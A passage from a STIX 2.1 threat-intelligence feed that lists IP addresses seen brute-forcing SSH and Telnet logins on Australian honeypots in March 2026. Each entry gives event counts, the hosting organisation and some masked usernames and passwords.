      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, C*******., Q********!.",
      "id": "indicator--286b7688-fc34-47d8-bcb9-a2d65ee5364d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.92.200.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--823d94f7-ab3e-4c98-b60b-23003e91ffa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1*****1, 6****6, W******$.",
      "id": "indicator--04957f42-564e-45ef-9d42-da64bf9cf46e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.230.219.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134026. Organisation(s): Ultranet services private limited.",
      "id": "indicator--39486db2-9578-439c-8dcc-ac362434d413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.115.107.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 8334. Organisation(s): LLC SETEL.",
      "id": "indicator--bd6dbd62-c579-4152-9b6c-777537bdd39b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.188.119.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-02T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u, s****a, f********r, n**e. Passwords observed (masked): f********r, s****a, v*******r, ***, 1**4.",
      "id": "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:15:13.000Z",
      "valid_until": "2026-04-03T23:15:12.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, .*******6, 1*******@, 3***********4, 3**********4.",
      "id": "indicator--c0456122-23c7-499b-9543-5ecfa41fa9b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.119.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t. Passwords observed (masked): a***********a, a*******6, p*******!.",
      "id": "indicator--64ed7ad2-0fdd-4270-85c2-8b7c5d8a323e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.207.223.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--c43324d3-ab45-474b-9aeb-eddfdeb96ada",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.57.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1*******X, A*******c.",
      "id": "indicator--1a163e36-10d2-4c7a-bd0c-dbd0c40ac6d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.124.20.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, a******3.",
      "id": "indicator--ddc0126e-f39f-4afc-a85c-8ae641209866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.45.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1******1, 3***********4, 3**********4, a*****0.",
      "id": "indicator--3e56a8bb-3235-4b40-aa9d-4272d96b52ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.136.248.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): n*****x. Passwords observed (masked): I***********************5.",
      "id": "indicator--cd25bff6-f29d-4dfd-b0f6-d7cf4ad2e16e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135983. Organisation(s): Tino Group Joint Stock Company. Usernames observed (masked): a****1, 3**********4, r**t. Passwords observed (masked): 1*********f, 3***********4, 3**********4, a********..",
      "id": "indicator--25426c03-fee4-4ecc-baf0-783ab59be275",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.187.240.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): !***%, 0****0, 1****1, ***, 1****3.",
      "id": "indicator--84534a1e-ee27-43e9-af3d-e807711ad625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--cc9c48f9-7249-4a8f-bc54-be18fef4bd07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.245.63.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): a****1, 3**********4. Passwords observed (masked): 1********3, 3***********4, 3**********4.",
      "id": "indicator--df4aaf7f-c60d-4670-80d1-9a73078d24f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.126.224.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 906. Organisation(s): DMIT Cloud Services. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1*******/, 3***********4, 3**********4, a***********a.",
      "id": "indicator--b1366695-c2c8-4701-8549-2a1b39a84f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.63.201.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 906. Organisation(s): DMIT Cloud Services. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1*******X, A*******c.",
      "id": "indicator--4a77d68b-ef6f-4961-a53c-83470bd8a9fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.63.205.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12338. Organisation(s): Euskaltel S.A.. Usernames observed (masked): r**t, a****1, 3**********4. Passwords observed (masked): 1********3, 3***********4, 3**********4, H********3, W*******!.",
      "id": "indicator--daf79d5e-7885-4f16-b3c8-c097f3d93c27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.9.131.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T00:15:08.000Z",
      "valid_until": "2026-04-04T00:15:05.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--e22ddfb9-d374-47c8-ab8b-fc742c64c7a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.221.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--3df19305-f403-406f-9164-5d3fced7b7b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e1720cc9-c5de-4470-ba0d-16e22a00cfa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '204.236.215.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aecd1c37-ab8e-4504-ab8c-eed9446eb382",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): 1******x, q**********6, r*******y.",
      "id": "indicator--97a5c352-c803-44f1-94cb-6134d975ecc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.109.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--591f5fbf-df00-4d6c-88bc-3c88d4b4fac3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.208.115.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s**v. Passwords observed (masked): 1****6, **, 1**4, 1***5, 1*****7.",
      "id": "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:15:13.000Z",
      "valid_until": "2026-04-04T01:15:12.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): @*******6, q*******!, q******., **.",
      "id": "indicator--8f48889c-53d2-46c0-b7a6-68a55bd7eece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1*******d, E***********_.",
      "id": "indicator--db53358a-d595-4616-843d-d7aded3daab5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.190.214.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--2e55e6b6-4f9c-4387-b842-61793afab80d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.218.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, 1*******d, E***********_.",
      "id": "indicator--43dea769-8c4e-4420-b3de-0550cf524f75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.196.70.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, !*********3, 1**1.",
      "id": "indicator--84890aaa-0270-4447-9485-638af1a3529d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.48.142.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 460. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, c****s, u****u, t**t. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--8a0b7a1a-4173-4fe4-aa12-cba2b99a8d24",
      "labels": [
        "bruteforce"
      ],
